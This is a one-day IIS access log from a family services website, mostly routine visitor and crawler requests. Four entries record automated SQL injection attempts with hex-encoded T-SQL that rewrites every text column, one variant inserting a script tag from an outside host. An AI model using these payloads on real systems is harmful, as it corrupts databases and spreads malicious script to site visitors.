67.195.112.250, -, 10/4/2009, 0:01:25, W3SVC583748915, NS7, 141.150.196.247, 468, 399, 23354, 200, 0, GET, /Documents/press_release.doc, -,
119.63.199.15, -, 10/4/2009, 0:23:46, W3SVC583748915, NS7, 141.150.196.247, 515, 192, 8306, 200, 0, GET, /Default.asp, -,
58.61.164.39, -, 10/4/2009, 0:39:14, W3SVC583748915, NS7, 141.150.196.247, 1093, 267, 8287, 200, 0, GET, /Default.asp, -,
58.61.164.39, -, 10/4/2009, 0:39:26, W3SVC583748915, NS7, 141.150.196.247, 531, 295, 1948, 200, 0, GET, /styles/caf.css, -,
58.61.164.39, -, 10/4/2009, 0:39:32, W3SVC583748915, NS7, 141.150.196.247, 4968, 327, 57555, 200, 0, GET, /javascript/jquery-1.3.2.min.js, -,
58.61.164.39, -, 10/4/2009, 0:39:33, W3SVC583748915, NS7, 141.150.196.247, 531, 301, 410, 200, 0, GET, /javascript/caf.js, -,
58.61.164.141, -, 10/4/2009, 0:47:16, W3SVC583748915, NS7, 141.150.196.247, 1109, 267, 8287, 200, 0, GET, /Default.asp, -,
58.61.164.141, -, 10/4/2009, 0:47:29, W3SVC583748915, NS7, 141.150.196.247, 546, 295, 1948, 200, 0, GET, /styles/caf.css, -,
58.61.164.141, -, 10/4/2009, 0:47:32, W3SVC583748915, NS7, 141.150.196.247, 2828, 327, 57555, 200, 0, GET, /javascript/jquery-1.3.2.min.js, -,
58.61.164.141, -, 10/4/2009, 0:47:33, W3SVC583748915, NS7, 141.150.196.247, 515, 301, 410, 200, 0, GET, /javascript/caf.js, -,
58.61.164.140, -, 10/4/2009, 0:51:59, W3SVC583748915, NS7, 141.150.196.247, 1078, 267, 8287, 200, 0, GET, /Default.asp, -,
58.61.164.140, -, 10/4/2009, 0:52:12, W3SVC583748915, NS7, 141.150.196.247, 531, 295, 1948, 200, 0, GET, /styles/caf.css, -,
58.61.164.140, -, 10/4/2009, 0:52:15, W3SVC583748915, NS7, 141.150.196.247, 2734, 327, 57555, 200, 0, GET, /javascript/jquery-1.3.2.min.js, -,
58.61.164.140, -, 10/4/2009, 0:52:16, W3SVC583748915, NS7, 141.150.196.247, 515, 301, 410, 200, 0, GET, /javascript/caf.js, -,
77.88.44.121, -, 10/4/2009, 0:54:29, W3SVC583748915, NS7, 141.150.196.247, 140, 162, 297, 404, 2, GET, /robots.txt, -,
124.115.1.7, -, 10/4/2009, 1:07:59, W3SVC583748915, NS7, 141.150.196.247, 859, 267, 8287, 200, 0, GET, /Default.asp, -,
124.115.1.7, -, 10/4/2009, 1:08:09, W3SVC583748915, NS7, 141.150.196.247, 437, 295, 1948, 200, 0, GET, /styles/caf.css, -,
124.115.1.7, -, 10/4/2009, 1:08:18, W3SVC583748915, NS7, 141.150.196.247, 7484, 327, 57555, 200, 0, GET, /javascript/jquery-1.3.2.min.js, -,
124.115.1.7, -, 10/4/2009, 1:08:18, W3SVC583748915, NS7, 141.150.196.247, 390, 301, 410, 200, 0, GET, /javascript/caf.js, -,
67.218.116.164, -, 10/4/2009, 1:27:08, W3SVC583748915, NS7, 141.150.196.247, 3984, 196, 8306, 200, 0, GET, /Default.asp, -,
114.80.93.71, -, 10/4/2009, 1:31:59, W3SVC583748915, NS7, 141.150.196.247, 1046, 267, 8287, 200, 0, GET, /Default.asp, -,
114.80.93.71, -, 10/4/2009, 1:32:11, W3SVC583748915, NS7, 141.150.196.247, 531, 295, 1948, 200, 0, GET, /styles/caf.css, -,
114.80.93.71, -, 10/4/2009, 1:32:14, W3SVC583748915, NS7, 141.150.196.247, 2656, 327, 57555, 200, 0, GET, /javascript/jquery-1.3.2.min.js, -,
114.80.93.71, -, 10/4/2009, 1:32:15, W3SVC583748915, NS7, 141.150.196.247, 515, 301, 410, 200, 0, GET, /javascript/caf.js, -,
67.218.116.133, -, 10/4/2009, 1:34:36, W3SVC583748915, NS7, 141.150.196.247, 390, 223, 11375, 200, 0, GET, /default.asp, empowerment,
67.195.112.250, -, 10/4/2009, 1:58:53, W3SVC583748915, NS7, 141.150.196.247, 250, 389, 7882, 200, 0, GET, /default.asp, youth,
67.195.112.250, -, 10/4/2009, 1:58:53, W3SVC583748915, NS7, 141.150.196.247, 93, 453, 267, 304, 0, GET, /styles/caf.css, -,
67.218.116.133, -, 10/4/2009, 2:05:38, W3SVC583748915, NS7, 141.150.196.247, 281, 217, 5698, 200, 0, GET, /default.asp, grant,
74.6.8.91, -, 10/4/2009, 2:07:50, W3SVC583748915, NS7, 141.150.196.247, 15, 205, 316, 404, 2, GET, /robots.txt, -,
74.6.8.91, -, 10/4/2009, 2:07:50, W3SVC583748915, NS7, 141.150.196.247, 203, 396, 6933, 200, 0, GET, /default.asp, calendar,
74.6.8.91, -, 10/4/2009, 2:07:53, W3SVC583748915, NS7, 141.150.196.247, 15, 464, 267, 304, 0, GET, /styles/caf.css, -,
119.63.199.47, -, 10/4/2009, 2:24:16, W3SVC583748915, NS7, 141.150.196.247, 453, 188, 8306, 200, 0, GET, /Default.asp, -,
67.218.116.133, -, 10/4/2009, 2:27:49, W3SVC583748915, NS7, 141.150.196.247, 421, 219, 7081, 200, 0, GET, /default.asp, contact,
208.80.193.29, -, 10/4/2009, 3:29:07, W3SVC583748915, NS7, 141.150.196.247, 359, 257, 8306, 200, 0, GET, /Default.asp, -,
59.126.30.177, -, 10/4/2009, 4:01:16, W3SVC583748915, NS7, 141.150.196.247, 593, 1549, 0, 500, 64, GET, /default.asp, acronyms;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D4C45465428434F4E5645525428564152434841522834303030292C5B272B40432B275D292C504154494E444558282727253C7363722527272C434F4E5645525428564152434841522834303030292C5B272B40432B275D29292D312920574845524520504154494E444558282727253C7363722527272C434F4E5645525428564152434841522834303030292C5B272B40432B275D29293E302729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--|85|ASP_0214_:_80004005|Invalid_Path_parameter,
59.126.30.177, -, 10/4/2009, 4:01:16, W3SVC583748915, NS7, 141.150.196.247, 546, 1559, 5213, 500, 0, GET, /default.asp, acronyms;DECLare%20@s%20vArChAR(4000);SET%20@S=Cast(0x4465436C617265204074207661524348617228323535292C406320764152636841522832353529206465436C617245205461626C455F635552734F7220637572736F7220464F522073656C65435420612E4E414D652C422E4E616D652066724F6D207379736F426A6543747320412C735973436F4C556D4E73206220574845524520412E49643D622E696420614E4420612E58545950453D27552720616E442028422E78745970653D3939204F5220622E78547970653D3335206F5220422E58747970653D323331204F5220622E58745970453D31363729204F70454E207441624C455F635552736F52206665546368206E6558742046524F4D207441626C655F635552736F5220694E744F2040542C4063205768494C4528404066455443485F7354617475533D302920426567694E20657865632827755064415465205B272B40742B275D20536574205B272B40632B275D3D725472696D28636F6E7665525428564152634841722834303030292C5B272B40632B275D29292B43615374283058334337333633373236393730373432303733373236333344363837343734373033413246324637373737373732453631363436323645373232453732373532463631363437333245364137333345334332463733363337323639373037343345204153205641526348615228343929292729204645544368204E6558742066524F4D205441424C655F637552734F5220496E546F2040542C404320654E6420436C4F7345205461624C655F437572734F72206445616C4C6F43417465205461626C655F437552736F5220%20aS%20varChaR(4000));EXEC(@s);--|85|ASP_0214_:_80004005|Invalid_Path_parameter,
59.126.30.177, -, 10/4/2009, 4:01:18, W3SVC583748915, NS7, 141.150.196.247, 1468, 303, 0, 200, 64, GET, /default.asp, acronyms,
208.80.193.26, -, 10/4/2009, 4:09:25, W3SVC583748915, NS7, 141.150.196.247, 343, 210, 8306, 200, 0, GET, /Default.asp, -,
67.218.116.133, -, 10/4/2009, 4:14:13, W3SVC583748915, NS7, 141.150.196.247, 296, 211, 8306, 200, 0, GET, /default.asp, -,
222.120.181.103, -, 10/4/2009, 4:31:40, W3SVC583748915, NS7, 141.150.196.247, 546, 1549, 5203, 500, 0, GET, /default.asp, acronyms;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D4C45465428434F4E5645525428564152434841522834303030292C5B272B40432B275D292C504154494E444558282727253C7363722527272C434F4E5645525428564152434841522834303030292C5B272B40432B275D29292D312920574845524520504154494E444558282727253C7363722527272C434F4E5645525428564152434841522834303030292C5B272B40432B275D29293E302729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--|85|ASP_0214_:_80004005|Invalid_Path_parameter,
222.120.181.103, -, 10/4/2009, 4:31:40, W3SVC583748915, NS7, 141.150.196.247, 562, 1559, 5213, 500, 0, GET, /default.asp, acronyms;DeCLARe%20@S%20VArcHAr(4000);sEt%20@S=cAST(0X6465636C417265204054207641526368617228323535292C404320766172434861522832353529206445434C415265205441424C455F437572734F5220435552736F5220466F522073454C65435420612E4E616D452C622E6E414D452066526F6D207379734F626A4543547320412C735973634F6C756D4E73206220774845524520412E49643D422E696420414E6420412E78547950653D27752720416E642028422E58747950453D3939206F7220622E58745970453D3335206F7220422E78745970453D323331206F7220622E78547950653D31363729204F70654E207441626C655F635552736F72204665544348206E4578542066524F6D205441626C655F637552734F5220696E544F2040542C4063207768696C6528404066657443685F5374417475533D302920626547694E20455845432827557064417445205B272B40542B275D20536554205B272B40632B275D3D727452696D28634F4E5645527428566152634861522834303030292C5B272B40432B275D29292B43617354283078334337333633373236393730373432303733373236333344363837343734373033413246324637373737373732453631363436323645373232453732373532463631363437333245364137333345334332463733363337323639373037343345206173207641726368415228343929292729204645744348206E6578742066526F4D207441624C655F635572734F5220496E544F2040742C406320454E6420434C4F7365207461426C655F635572734F52204465416C4C6F63617465205461626C455F437552736F5220%20as%20VARchar(4000));EXEc(@S);--|85|ASP_0214_:_80004005|Invalid_Path_parameter,
222.120.181.103, -, 10/4/2009, 4:31:42, W3SVC583748915, NS7, 141.150.196.247, 1453, 303, 30661, 200, 0, GET, /default.asp, acronyms,
67.218.116.164, -, 10/4/2009, 4:51:03, W3SVC583748915, NS7, 141.150.196.247, 3203, 219, 11375, 200, 0, GET, /default.asp, empowerment,
69.58.178.28, -, 10/4/2009, 5:25:54, W3SVC583748915, NS7, 141.150.196.247, 62, 216, 297, 404, 2, GET, /robots.txt, -,
69.58.178.28, -, 10/4/2009, 5:25:55, W3SVC583748915, NS7, 141.150.196.247, 140, 206, 8287, 200, 0, GET, /Default.asp, -,
69.58.178.28, -, 10/4/2009, 5:25:56, W3SVC583748915, NS7, 141.150.196.247, 78, 225, 7062, 200, 0, GET, /default.asp, contact,
69.58.178.28, -, 10/4/2009, 5:25:57, W3SVC583748915, NS7, 141.150.196.247, 156, 217, 8287, 200, 0, GET, /default.asp, -,
69.58.178.28, -, 10/4/2009, 5:25:58, W3SVC583748915, NS7, 141.150.196.247, 109, 230, 9613, 200, 0, GET, /default.asp, systemofcare,
69.58.178.28, -, 10/4/2009, 5:25:59, W3SVC583748915, NS7, 141.150.196.247, 93, 228, 7110, 200, 0, GET, /default.asp, wraparound,
69.58.178.28, -, 10/4/2009, 5:26:00, W3SVC583748915, NS7, 141.150.196.247, 109, 229, 11356, 200, 0, GET, /default.asp, empowerment,
69.58.178.28, -, 10/4/2009, 5:26:01, W3SVC583748915, NS7, 141.150.196.247, 93, 223, 7863, 200, 0, GET, /default.asp, youth,
69.58.178.28, -, 10/4/2009, 5:26:02, W3SVC583748915, NS7, 141.150.196.247, 78, 223, 5679, 200, 0, GET, /default.asp, grant,
69.58.178.28, -, 10/4/2009, 5:26:04, W3SVC583748915, NS7, 141.150.196.247, 93, 229, 6286, 200, 0, GET, /default.asp, eligibility,
69.58.178.28, -, 10/4/2009, 5:26:05, W3SVC583748915, NS7, 141.150.196.247, 93, 226, 6914, 200, 0, GET, /default.asp, calendar,
77.88.44.121, -, 10/4/2009, 5:35:47, W3SVC583748915, NS7, 141.150.196.247, 500, 915, 8287, 200, 0, GET, /Default.asp, -,
66.249.71.233, -, 10/4/2009, 5:39:21, W3SVC583748915, NS7, 141.150.196.247, 31, 314, 248, 304, 0, GET, /documents/20060405.pdf, -,
67.218.116.164, -, 10/4/2009, 6:19:21, W3SVC583748915, NS7, 141.150.196.247, 3406, 216, 6933, 200, 0, GET, /default.asp, calendar,
66.36.230.78, -, 10/4/2009, 6:34:07, W3SVC583748915, NS7, 141.150.196.247, 46, 170, 316, 404, 2, GET, /robots.txt, -,
66.36.230.78, -, 10/4/2009, 6:34:15, W3SVC583748915, NS7, 141.150.196.247, 125, 160, 8306, 200, 0, GET, /Default.asp, -,
66.36.230.78, -, 10/4/2009, 6:34:22, W3SVC583748915, NS7, 141.150.196.247, 156, 171, 8306, 200, 0, GET, /default.asp, -,
66.36.230.78, -, 10/4/2009, 6:34:29, W3SVC583748915, NS7, 141.150.196.247, 15, 189, 1932, 406, 0, GET, /documents/press_release.doc, -,
66.235.124.3, -, 10/4/2009, 6:35:36, W3SVC583748915, NS7, 141.150.196.247, 15, 232, 297, 404, 2, GET, /robots.txt, -,
66.235.124.3, -, 10/4/2009, 6:36:06, W3SVC583748915, NS7, 141.150.196.247, 62, 257, 8306, 200, 0, GET, /Default.asp, -,
67.218.116.133, -, 10/4/2009, 6:57:38, W3SVC583748915, NS7, 141.150.196.247, 1703, 220, 6933, 200, 0, GET, /default.asp, calendar,
67.218.116.164, -, 10/4/2009, 8:19:02, W3SVC583748915, NS7, 141.150.196.247, 2765, 213, 6571, 200, 0, GET, /default.asp, links,
67.218.116.164, -, 10/4/2009, 8:41:14, W3SVC583748915, NS7, 141.150.196.247, 4296, 216, 39448, 200, 0, GET, /default.asp, glossary,
67.218.116.164, -, 10/4/2009, 9:12:13, W3SVC583748915, NS7, 141.150.196.247, 2406, 207, 8306, 200, 0, GET, /default.asp, -,
67.195.112.250, -, 10/4/2009, 10:05:05, W3SVC583748915, NS7, 141.150.196.247, 109, 201, 316, 404, 2, GET, /robots.txt, -,
67.195.112.250, -, 10/4/2009, 10:05:05, W3SVC583748915, NS7, 141.150.196.247, 765, 392, 39448, 200, 0, GET, /default.asp, glossary,
67.195.112.250, -, 10/4/2009, 10:05:08, W3SVC583748915, NS7, 141.150.196.247, 93, 456, 267, 304, 0, GET, /styles/caf.css, -,
72.30.142.250, -, 10/4/2009, 10:17:29, W3SVC583748915, NS7, 141.150.196.247, 46, 205, 316, 404, 2, GET, /robots.txt, -,
72.30.142.250, -, 10/4/2009, 10:17:29, W3SVC583748915, NS7, 141.150.196.247, 78, 376, 8306, 200, 0, GET, /Default.asp, -,
72.30.142.250, -, 10/4/2009, 10:17:33, W3SVC583748915, NS7, 141.150.196.247, 46, 356, 1967, 200, 0, GET, /styles/caf.css, -,
66.249.71.233, -, 10/4/2009, 10:51:44, W3SVC583748915, NS7, 141.150.196.247, 46, 216, 297, 404, 2, GET, /robots.txt, -,
66.249.71.233, -, 10/4/2009, 10:51:44, W3SVC583748915, NS7, 141.150.196.247, 78, 262, 248, 304, 0, GET, /images/walking_away.jpg, -,
67.195.112.250, -, 10/4/2009, 11:01:38, W3SVC583748915, NS7, 141.150.196.247, 125, 456, 267, 304, 0, GET, /styles/caf.css, -,
67.195.112.250, -, 10/4/2009, 11:01:39, W3SVC583748915, NS7, 141.150.196.247, 2562, 392, 39448, 200, 0, GET, /default.asp, glossary,
67.218.116.164, -, 10/4/2009, 12:09:34, W3SVC583748915, NS7, 141.150.196.247, 2140, 220, 9632, 200, 0, GET, /default.asp, systemofcare,
72.30.78.230, -, 10/4/2009, 12:51:28, W3SVC583748915, NS7, 141.150.196.247, 15, 201, 316, 404, 2, GET, /robots.txt, -,
72.30.78.230, -, 10/4/2009, 12:51:28, W3SVC583748915, NS7, 141.150.196.247, 78, 396, 9632, 200, 0, GET, /default.asp, systemofcare,
72.30.78.230, -, 10/4/2009, 12:51:28, W3SVC583748915, NS7, 141.150.196.247, 31, 460, 267, 304, 0, GET, /styles/caf.css, -,
72.30.78.230, -, 10/4/2009, 12:57:57, W3SVC583748915, NS7, 141.150.196.247, 93, 383, 8306, 200, 0, GET, /default.asp, -,
67.218.116.164, -, 10/4/2009, 13:02:48, W3SVC583748915, NS7, 141.150.196.247, 281, 219, 6305, 200, 0, GET, /default.asp, eligibility,
124.115.6.16, -, 10/4/2009, 13:03:35, W3SVC583748915, NS7, 141.150.196.247, 390, 262, 297, 404, 2, GET, /robots.txt, -,
72.30.142.250, -, 10/4/2009, 13:04:59, W3SVC583748915, NS7, 141.150.196.247, 62, 399, 6305, 200, 0, GET, /default.asp, eligibility,
72.30.142.250, -, 10/4/2009, 13:04:59, W3SVC583748915, NS7, 141.150.196.247, 15, 467, 267, 304, 0, GET, /styles/caf.css, -,
67.218.116.164, -, 10/4/2009, 13:38:15, W3SVC583748915, NS7, 141.150.196.247, 375, 218, 7129, 200, 0, GET, /default.asp, wraparound,
67.218.116.164, -, 10/4/2009, 13:39:15, W3SVC583748915, NS7, 141.150.196.247, 265, 213, 5698, 200, 0, GET, /default.asp, grant,
72.30.142.250, -, 10/4/2009, 13:50:59, W3SVC583748915, NS7, 141.150.196.247, 78, 393, 5698, 200, 0, GET, /default.asp, grant,
67.218.116.164, -, 10/4/2009, 13:51:43, W3SVC583748915, NS7, 141.150.196.247, 9984, 213, 7882, 200, 0, GET, /default.asp, youth,
93.160.60.23, -, 10/4/2009, 14:31:31, W3SVC583748915, NS7, 141.150.196.247, 406, 256, 8287, 200, 0, GET, /Default.asp, -,
67.195.112.237, -, 10/4/2009, 14:41:25, W3SVC583748915, NS7, 141.150.196.247, 109, 205, 316, 404, 2, GET, /robots.txt, -,
67.195.112.237, -, 10/4/2009, 14:41:26, W3SVC583748915, NS7, 141.150.196.247, 265, 387, 8306, 200, 0, GET, /default.asp, -,
67.195.112.237, -, 10/4/2009, 14:41:28, W3SVC583748915, NS7, 141.150.196.247, 93, 455, 267, 304, 0, GET, /styles/caf.css, -,
67.195.112.237, -, 10/4/2009, 15:18:59, W3SVC583748915, NS7, 141.150.196.247, 234, 393, 6571, 200, 0, GET, /default.asp, links,
67.195.112.237, -, 10/4/2009, 15:24:32, W3SVC583748915, NS7, 141.150.196.247, 234, 376, 8306, 200, 0, GET, /Default.asp, -,
66.235.124.3, -, 10/4/2009, 15:48:10, W3SVC583748915, NS7, 141.150.196.247, 31, 232, 297, 404, 2, GET, /robots.txt, -,
66.235.124.3, -, 10/4/2009, 15:48:40, W3SVC583748915, NS7, 141.150.196.247, 0, 327, 316, 404, 2, GET, /Lake County Directory of Sexual Health and Resources.pdf, -,
67.195.112.237, -, 10/4/2009, 17:00:29, W3SVC583748915, NS7, 141.150.196.247, 281, 396, 6933, 200, 0, GET, /default.asp, calendar,
67.195.112.237, -, 10/4/2009, 17:00:30, W3SVC583748915, NS7, 141.150.196.247, 93, 464, 267, 304, 0, GET, /styles/caf.css, -,
64.246.165.150, -, 10/4/2009, 17:56:41, W3SVC583748915, NS7, 141.150.196.247, 109, 301, 316, 404, 2, GET, /robots.txt, -,
64.246.165.150, -, 10/4/2009, 17:56:41, W3SVC583748915, NS7, 141.150.196.247, 359, 514, 8287, 200, 0, GET, /Default.asp, -,
88.131.106.2, -, 10/4/2009, 18:29:28, W3SVC583748915, NS7, 141.150.196.247, 109, 210, 316, 404, 2, GET, /robots.txt, -,
88.131.106.2, -, 10/4/2009, 18:29:40, W3SVC583748915, NS7, 141.150.196.247, 265, 250, 8306, 200, 0, GET, /Default.asp, -,
65.55.106.186, -, 10/4/2009, 18:30:12, W3SVC583748915, NS7, 141.150.196.247, 15, 205, 0, 404, 64, GET, /robots.txt, -,
65.55.106.186, -, 10/4/2009, 18:31:03, W3SVC583748915, NS7, 141.150.196.247, 15, 327, 0, 404, 64, GET, /youth.html, -,
65.55.115.175, -, 10/4/2009, 18:32:27, W3SVC583748915, NS7, 141.150.196.247, 15, 224, 0, 404, 64, GET, /robots.txt, -,
67.195.115.23, -, 10/4/2009, 19:12:08, W3SVC583748915, NS7, 141.150.196.247, 109, 205, 316, 404, 2, GET, /robots.txt, -,
67.195.115.23, -, 10/4/2009, 19:12:08, W3SVC583748915, NS7, 141.150.196.247, 296, 395, 7081, 200, 0, GET, /default.asp, contact,
67.195.115.23, -, 10/4/2009, 19:12:10, W3SVC583748915, NS7, 141.150.196.247, 156, 375, 1967, 200, 0, GET, /styles/caf.css, -,
76.16.115.190, -, 10/4/2009, 19:57:51, W3SVC583748915, NS7, 141.150.196.247, 1265, 701, 8287, 200, 0, GET, /Default.asp, -,
76.16.115.190, -, 10/4/2009, 19:57:54, W3SVC583748915, NS7, 141.150.196.247, 1906, 491, 57555, 200, 0, GET, /javascript/jquery-1.3.2.min.js, -,
76.16.115.190, -, 10/4/2009, 19:58:01, W3SVC583748915, NS7, 141.150.196.247, 453, 475, 1948, 200, 0, GET, /styles/caf.css, -,
76.16.115.190, -, 10/4/2009, 19:58:02, W3SVC583748915, NS7, 141.150.196.247, 437, 478, 410, 200, 0, GET, /javascript/caf.js, -,
76.16.115.190, -, 10/4/2009, 19:58:02, W3SVC583748915, NS7, 141.150.196.247, 484, 479, 824, 200, 0, GET, /images/magnify.gif, -,
76.16.115.190, -, 10/4/2009, 19:58:02, W3SVC583748915, NS7, 141.150.196.247, 515, 480, 6569, 200, 0, GET, /images/caf_logo.gif, -,
76.16.115.190, -, 10/4/2009, 19:58:02, W3SVC583748915, NS7, 141.150.196.247, 390, 476, 1444, 200, 0, GET, /images/film.gif, -,
76.16.115.190, -, 10/4/2009, 19:58:03, W3SVC583748915, NS7, 141.150.196.247, 468, 481, 3888, 200, 0, GET, /images/dhhs_logo.gif, -,
76.16.115.190, -, 10/4/2009, 19:58:03, W3SVC583748915, NS7, 141.150.196.247, 1359, 479, 17650, 200, 0, GET, /images/meeting.jpg, -,
76.16.115.190, -, 10/4/2009, 19:58:03, W3SVC583748915, NS7, 141.150.196.247, 515, 480, 4321, 200, 0, GET, /images/soc_logo.gif, -,
76.16.115.190, -, 10/4/2009, 19:58:03, W3SVC583748915, NS7, 141.150.196.247, 468, 478, 4641, 200, 0, GET, /images/stroke.gif, -,
76.16.115.190, -, 10/4/2009, 19:58:03, W3SVC583748915, NS7, 141.150.196.247, 453, 483, 14480, 200, 0, GET, /images/banner-text.gif, -,
76.16.115.190, -, 10/4/2009, 19:58:07, W3SVC583748915, NS7, 141.150.196.247, 2703, 478, 93450, 200, 0, GET, /images/banner.gif, -,
76.16.115.190, -, 10/4/2009, 19:58:07, W3SVC583748915, NS7, 141.150.196.247, 515, 401, 297, 404, 2, GET, /favicon.ico, -,
67.218.116.133, -, 10/4/2009, 21:05:09, W3SVC583748915, NS7, 141.150.196.247, 125, 210, 316, 404, 2, GET, /robots.txt, -,
67.218.116.164, -, 10/4/2009, 21:06:05, W3SVC583748915, NS7, 141.150.196.247, 3468, 215, 7081, 200, 0, GET, /default.asp, contact,
67.195.112.237, -, 10/4/2009, 21:54:02, W3SVC583748915, NS7, 141.150.196.247, 93, 205, 316, 404, 2, GET, /robots.txt, -,
67.195.112.237, -, 10/4/2009, 21:54:02, W3SVC583748915, NS7, 141.150.196.247, 234, 399, 6305, 200, 0, GET, /default.asp, eligibility,
67.195.112.237, -, 10/4/2009, 21:54:13, W3SVC583748915, NS7, 141.150.196.247, 93, 467, 267, 304, 0, GET, /styles/caf.css, -,
67.195.112.237, -, 10/4/2009, 21:59:54, W3SVC583748915, NS7, 141.150.196.247, 250, 393, 7882, 200, 0, GET, /default.asp, youth,
